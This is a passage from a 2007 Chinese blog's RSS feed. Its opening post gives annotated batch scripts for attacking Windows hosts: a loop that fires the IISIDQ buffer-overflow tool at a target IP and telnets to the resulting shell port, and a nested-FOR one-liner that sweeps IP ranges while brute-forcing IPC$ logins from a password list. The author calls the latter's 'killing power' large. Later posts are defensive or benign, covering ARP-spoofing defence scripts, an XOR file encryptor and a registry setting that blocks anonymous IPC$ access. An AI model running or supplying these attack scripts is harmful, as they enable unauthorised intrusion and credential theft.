if %a%==2 set d=2 /*变动。 <br />
if %a%==3 set d=3 <br />
if %a%==4 set d=4 <br />
if %a%==5 set d=5 <br />
if %a%==6 set d=6 <br />
if %a%==7 set d=7 <br />
if %a%==9 set d=9 <br />
if %a%==10 set d=13 <br />
if %a%==11 set d=14 <br />
goto 0 /*变量传递完成后转到标志0处运行 <br />
:1 <br />
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候...... <br />
:0 /*标志0开始 <br />
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good（发送代码成功才会有字符串good） <br />
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳 <br />
/*转标志1处继续尝试发送 <br />
ping 127.0.0.1 -n 8 &gt;nul /*ping自己8次相当于延时8秒不显示执 <br />
/*行结果 <br />
echo 正在执行第%d%项! /*报告正在溢出的操作系统类型 <br />
telnet %b% 99 /*连接溢出端口 <br />
echo. /*显示一个空行 <br />
if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处（循环出口） <br />
if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值 <br />
if %d%==9 set a=10 <br />
if %d%==7 set a=9 <br />
if %d%==6 set a=7 <br />
if %d%==5 set a=6 <br />
if %d%==4 set a=5 <br />
if %d%==3 set a=4 <br />
if %d%==2 set a=3 <br />
if %d%==1 set a=2 <br />
if %d%==0 set a=1 <br />
goto no /*附值完成跳转no段执行 <br />
:file /*以下都是出错后的帮助提示 <br />
echo IIsidq.exe没有发现!将该文件和本文件放在同一目录! <br />
goto exit <br />
:error <br />
echo 错误!目标ip不可识别!请使用下面的格式连接! <br />
echo idq [目标IP] <br />
goto exit <br />
:error1 <br />
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至! <br />
echo 请按照下面的格式手工尝试! <br />
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口] <br />
echo telnet [目标ip] [溢出端口] <br />
:exit /*整个程序的出口 <br />
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。 <br />
例三 <br />
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f <br />
上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为：C:\&gt;TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去，设密码为123 用户名为 abc) <br />
net usr \\218.0.0.1\ipc$ 123 /u:abc <br />
当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改（完整文件见光盘ipc.bat）由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强，至于能加强到什么地步能不能成为一个新的工具那就是你的事了。 <br />
这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了，大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦！最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了！！简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长！<br />
<br />
<p id="TBPingURL">Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=725728</p>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/156509.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-10-28 18:54 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156509.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一次ARP攻击的防御</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156480.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 28 Oct 2007 07:37:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156480.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/156480.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156480.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/156480.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/156480.html</trackback:ping><description><![CDATA[今天太点呗了。早晨9点起来，刚打开电脑，就听见瑞星防火墙发出警报，提示说有ARP欺骗包访问，被防火墙拒绝。<br />
晕，今天怎么了？什么ARP？不太了解阿！算了，有问题就要解决，特别是这样的问题啊。。<br />
我们寝室里三台电脑，用路由器上网。为什么它们的没有什么反应呢？难道它们已经中了？我查看路由器MAC地址，比对它们电脑里的ARP缓存表，一看。。呵呵 ，全中了。。<br />
还好我的防火墙有ARP防护功能。要不。。。<br />
下一步，查根源。根据瑞星提示，路由的MAC地址被篡改为其他的（实际上不会被改，也不可能被改！），由于ARP攻击是内网攻击，所以我先从寝室的三台电脑查，我把它们的IP及MAC地址，均添加到ARP静态列表里，把路由的也加过去，忽然发现，呵呵，路由的IP和寝室一哥们的电脑的MAC邦定了。呵呵，肯定是他中了。病毒把路由的IP和他的MAC邦定后，不停的响应我们发出去的数据包，还好不怎么厉害，没有造成网络中断，至于被中马的那哥们，一问是昨晚刚装完系统还没有装防火墙，晕。。<br />
好了，一次突然的ARP防御，让我对ARP有了更深刻的了解。<br />
说几点注意事项：<br />
1。电脑要装上有ARP防御功能的防火墙，现在挺多的。。<br />
2。我寝室就三台电脑，比较好查，如果多就麻烦了，所以建议把内网划分虚拟网络，那样一方面比较好找目标；另一方面，别的虚拟网段的用户中马后，不会干扰你这个网段的。<br />
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/156480.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-10-28 15:37 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156480.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写一个加/解密程序</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149968.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 30 Sep 2007 10:27:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149968.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/149968.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149968.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/149968.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/149968.html</trackback:ping><description><![CDATA[1。运行VC++6.0,"文件"--"新建",在工程下选择"win32 application","确定"后选择"a simple win32 application"完成.<br />
2.双击"work space"中后缀为.cpp的文件,编写<u><strong>代码</strong></u></a>如下,注(<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">程序</a>自身已给出了一部分代码,补充完整就是了)<br />
<span style="font-size: 11pt; line-height: 140%">
<p><font face="Verdana">// 17.cpp : Defines the entry point for the application.<br />
//</font></p>
<p><font face="Verdana">#include "stdafx.h"<br />
#include "stdio.h"</font></p>
<font face="Verdana"></font>
<p><font face="Verdana"><br />
int APIENTRY WinMain(HINSTANCE hInstance,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HINSTANCE hPrevInstance,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPSTR&nbsp;&nbsp;&nbsp;&nbsp; lpCmdLine,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<br />
{<br />
&nbsp;&nbsp;// TODO: Place code here.<br />
&nbsp;&nbsp;&nbsp; if(!strlen(lpCmdLine))<br />
&nbsp;{<br />
&nbsp;&nbsp;MessageBox(NULL,"请先选择文件,把文件拖进来!","出错了!",MB_ICONINFORMATION);<br />
&nbsp;&nbsp;return 0;<br />
&nbsp;}<br />
&nbsp;FILE *fp1,*fp2;<br />
&nbsp;fp1=fopen(lpCmdLine,"rb");<br />
&nbsp;if(fp1==NULL)<br />
&nbsp;{MessageBox(NULL,"文件无法打开!","出错了!",MB_ICONERROR);<br />
&nbsp;return 0;<br />
}<br />
&nbsp;char stmpname[MAX_PATH];<br />
&nbsp;strcpy(stmpname,lpCmdLine);<br />
&nbsp;strcat(stmpname,".tmp");<br />
&nbsp;fp2=fopen(stmpname,"wb");<br />
&nbsp;if(fp2==NULL)<br />
&nbsp;{<br />
&nbsp;&nbsp;MessageBox(NULL,"文件无法写入!","出错了!",MB_ICONERROR);<br />
&nbsp;&nbsp;return 0;<br />
&nbsp;}<br />
&nbsp;char c=fgetc(fp1);<br />
&nbsp;char ch=0;<br />
&nbsp;while(!feof(fp1))<br />
&nbsp;{<br />
&nbsp;&nbsp;ch=c^233;<br />
&nbsp;&nbsp;fputc(ch,fp2);<br />
&nbsp;&nbsp;c=fgetc(fp1);<br />
&nbsp;}<br />
&nbsp;fclose(fp1);<br />
&nbsp;fclose(fp2);<br />
&nbsp;if(!DeleteFile(lpCmdLine))<br />
&nbsp;{<br />
&nbsp;&nbsp;DeleteFile(stmpname);<br />
&nbsp;&nbsp;MessageBox(NULL,"文件被占用!","出错了!",MB_ICONERROR);<br />
&nbsp;&nbsp;return 0;<br />
&nbsp;}<br />
&nbsp;MoveFile(stmpname,lpCmdLine);<br />
&nbsp;MessageBox(NULL,"加/解密已完成!","恭喜!",MB_ICONINFORMATION);</font></p>
<p><font face="Verdana"><br />
&nbsp;return 0;<br />
}</font></p>
<p><font face="Verdana">注意，17.cpp是我的文件名，将相关内容替换就是了。</font></p>
<p><font face="Verdana"><br />
</font></p>
</span><span style="font-size: 11pt; line-height: 140%">
<p><font face="Verdana">3。如何用呢。</font></p>
<p><font face="Verdana">例如将一张hei.jpg的<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>拖入编绎好的EXE文件，再运行一个这张<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>，你会发现什么也没有了，<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>被加密了，再将<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>拖入EXE文件，然后再运运<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>，显示正常，也就完成解密了。</font></p>
<p><font face="Verdana"><span style="color: rgb(255,1,2)">直接双击运行会出错的!</span><br />
</font></p>
<p><a href="http://www.hackerxfiles.net/batch.download.php?aid=2112" target="_blank"><img style="cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020834421.jpg" onload="return imgzoom(this,550);" border="0" /></a></p>
<p><span style="color: rgb(255,1,2)">图像原来的样子</span><a href="http://www.hackerxfiles.net/batch.download.php?aid=2113" target="_blank"><img style="width: 382px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020836061.jpg" onload="return imgzoom(this,550);" border="0" /></a><span style="color: rgb(255,1,2)">把图像拖进17.exe 后的成功提示,这里是加密成功了!!</span></p>
<br />
<p><a href="http://www.hackerxfiles.net/batch.download.php?aid=2114" target="_blank"><img style="cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020836062.jpg" onload="return imgzoom(this,550);" border="0" /></a></p>
<p><span style="color: rgb(255,1,2)">再运行一下hei.jpg,提示"没有预揽",说明加密成功!</span></p>
<p><a href="http://www.hackerxfiles.net/batch.download.php?aid=2115" target="_blank"><img style="width: 384px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020836063.jpg" onload="return imgzoom(this,550);" border="0" /></a></p>
<p><span style="color: rgb(255,1,2)">再将<a class="UBBWordLink" href="http://www.cn83.com/" target="_blank">图片</a>拖进17.exe,完成解密!!</span></p>
<p><a href="http://www.hackerxfiles.net/batch.download.php?aid=2116" target="_blank"><img style="cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020836064.jpg" onload="return imgzoom(this,550);" border="0" /></a></p>
<p><span style="color: rgb(255,1,2)">再浏览一遍原图像.</span></p>
<p><a href="http://www.hackerxfiles.net/batch.download.php?aid=2117" target="_blank"><img style="width: 382px; cursor: pointer" onclick="javascript:window.open(this.src);" alt="" src="http://www.hackerxfiles.net/attachments/2007/08/02/82563_200708020836065.jpg" onload="return imgzoom(this,550);" border="0" /></a></p>
<p><span style="color: rgb(255,1,2)">有一个问题,就是我把它放在桌面上进行,它会提示文件无法打开的,但放在D盘又或者是其它盘却可以成功。</span></span></p>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/149968.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-09-30 18:27 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149968.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用批处理文件防御ARP攻击</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149756.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 30 Sep 2007 01:14:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149756.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/149756.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149756.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/149756.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/149756.html</trackback:ping><description><![CDATA[<div class="NewsContent" id="NewsContentLabel">
<p>通过伪造IP地址和MAC地址实现ARP欺骗，能够在<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">网络</a>中产生大量的ARP通信量使<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">网络</a>阻塞，<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">攻击</a>者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目，造成<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">网络</a>中断或中间人<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">攻击</a>。 本文介绍了四种利用自制批处理文件来防御ARP攻击的方法。<br />
<br />
<strong>一、把下面语句编成BAT处理文件就可以搞定</strong></p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="#000000" border="1">
    <tbody>
        <tr>
            <td bgcolor="#e6e6e6">
            <pre>@echo off
            ::读取本机Mac地址
            if exist ipconfig.txt del ipconfig.txt
            ipconfig /all &gt;ipconfig.txt
            if exist phyaddr.txt del phyaddr.txt
            find "Physical Address" ipconfig.txt &gt;phyaddr.txt
            for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
            ::读取本机ip地址
            if exist IPAddr.txt del IPaddr.txt
            find "IP Address" ipconfig.txt &gt;IPAddr.txt
            for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
            ::绑定本机IP地址和MAC地址
            arp -s %IP% %Mac%
            ::读取网关地址
            if exist GateIP.txt del GateIP.txt
            find "Default Gateway" ipconfig.txt &gt;GateIP.txt
            for /f "skip=2 tokens=13" %%G in (GateIP.txt) do set GateIP=%%G
            ::读取网关Mac地址
            if exist GateMac.txt del GateMac.txt
            arp -a %GateIP% &gt;GateMac.txt
            for /f "skip=3 tokens=2" %%H in (GateMac.txt) do set GateMac=%%H
            ::绑定网关Mac和IP
            arp -s %GateIP% %GateMac%
            arp -s 网关IP 网关MAC
            exit</pre>
            </td>
        </tr>
    </tbody>
</table>
<p>这个批处理要查询本机的ARP 缓存表，看里面是不是有网关的IP和MAC，有则能成功<br />
<br />
绑定，但是没有的话就绑不定了！！！不过可以改进一下，达到双绑的目的，比如<br />
<br />
加上arp -s 网关IP 网关MAC一行就可以了。。。<br />
<br />
<strong>二、这个也不能实现真正意义的双绑，只能绑定本机IP和MAC</strong></p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="#000000" border="1">
    <tbody>
        <tr>
            <td bgcolor="#e6e6e6">
            <pre>@echo off
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "Physical Address") do set local_mac=%%a
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "IP Address") do set local_ip=%%a
            for /f "delims=: tokens=2" %%a in (ipconfig /all^|find "Default Gateway") do set gate_ip=%%a
            fo* /* %%* in (getmac /nh /s %local_ip%) do set gate_mac=%%a
            arp -s %local_ip% %local_mac%
            arp -s %gate_ip% %gate_mac% （这个地方有问题，改进中&#8230;&#8230;）</pre>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div class="NewsContent" id="NewsContentLabel">
<p>经测试，此批处理不能绑定网关IP和MAC，只能绑定本机IP和MAC<br />
<br />
<strong>三、这个还不是很清楚，我要测试才行的，目前所知也能绑定本机IP和MAC</strong><br />
<br />
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="#000000" border="1">
    <tbody>
        <tr>
            <td bgcolor="#e6e6e6">
            <pre>@ECHO OFF
            SETLOCAL ENABLEDELAYEDEXPANSION
            for /f "tokens=2 delims=[]=" %%i in (nbtstat -a %COMPUTERNAME%) do call set local=!local!%%i
            for /f "tokens=3" %%i in (netstat -r^|find " 0.0.0.0") do set gm=%%i
            for /f "tokens=1,2" %%i in (arp -a %gm%^|find /i /v "inter") do set gate=%%i %%j
            arp -s %gate%
            arp -s %local%
            arp -s 网关IP 网关MAC</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
这个批处理可以绑定网关IP和MAC，但是还是有缺陷，要依赖于本机上存在的ARP缓存！<br />
<br />
改进方法为在最后加一个arp -s 网关IP和MAC!</p>
<p><strong>四、原理和第一个一样,只是改进了一点点！</strong></p>
<p>这个P通过ping网关三次得到了网关的MAC其实以上的批都可以通过这个来搞定网关的IP和MAC，<br />
<br />
但是如果开机的时候正在发生ARP欺骗的话 这样你绑的IP和MAC就是错的，不能上网了。</p>
<table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="#000000" border="1">
    <tbody>
        <tr>
            <td bgcolor="#e6e6e6">
            <pre>@echo off
            :::::::::::::清除所有的ARP缓存
            arp -d
            :::::::::::::读取本地连接配置
            ipconfig /all&gt;ipconfig.txt
            :::::::::::::读取内网网关的IP
            for /f "tokens=13" %%I in (find "Default Gateway" ipconfig.txt) do set GatewayIP=%%I
            ::::::::::::ING三次内网网关
            ping %GatewayIP% -n 3
            :::::::::::::读取与网关arp缓存
            arp -a|find "%GatewayIP%"&gt;arp.txt
            :::::::::::::读取网关MAC并绑定
            for /f "tokens=1,2" %%I in (find "%GatewayIP%" arp.txt) do if %%I==%GatewayIP% arp -s %%I %%J
            :::::::::::::读取本机的 IP+MAC
            for /f "tokens=15" %%i in (find "IP Address" ipconfig.txt) do set ip=%%i
            for /f "tokens=12" %%i in (find "Physical Address" ipconfig.txt) do set mac=%%i
            :::::::::::::绑定本机的 IP+MAC
            arp -s %ip% %mac%
            :::::::::::::删除所有的临时文件
            del ipconfig.txt
            del arp.txt
            exit</pre>
            </td>
        </tr>
    </tbody>
</table>
<p>不过这种情况很少，发过来试一下先吧！</p>
<p>以上P可以配合路由上对客户机的IP和MAC进行绑定实现完全防ARP，只是单绑下面机和网关IP及MAC<br />
<br />
没有多大用处，关于路由上面的，因为大家用的路由不一样，所以这个就不写了</p>
<p>&nbsp;</p>
</div>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/149756.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-09-30 09:14 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149756.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何禁止匿名用户连接你的IPC$共享？</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149751.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 30 Sep 2007 01:05:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149751.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/149751.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/149751.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/149751.html</trackback:ping><description><![CDATA[<p><span style="font-size: 12px">我们可以通过修改注册表来实现<br />
Key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa<br />
Name: RestrictAnonymous<br />
Type: REG_DWORD<br />
Value: 0 | 1 | 2<br />
说明：<br />
0：默认开放<br />
1：匿名用户无法列举主机用户列表；<br />
2：匿名用户无法连接你的IPS$共享，不建议使用，否则可能会造成你的一些服务无法启动，如SQL Server...<br />
<br />
也可以执行gpedit.msc打开本地<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">安全</a>策略，<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">编辑</a>&#8220;计算机配置&#8221;--&#8220;<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">Windows</a>设置&#8221;--&#8220;<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">安全</a>设置&#8221;--&#8220;本地策略&#8221;--&#8220;<a class="UBBWordLink" href="http://www.hackvip.com/" target="_blank">安全</a>选项&#8221;--&#8220;对匿名连接的额外限制&#8221;<br />
0：无，依赖默认许可限制<br />
1：不允许枚举SAM帐号和共享<br />
2：没有显示匿名权限就无法访问<br />
<br />
xp和2003中，默认已经启用了&#8220;不允许SAM帐户的匿名枚举&#8221;，但是没有启用&#8220;不允许SAM帐户和共享的匿名枚举&#8221;。</span></p>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/149751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-09-30 09:05 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/09/30/149751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>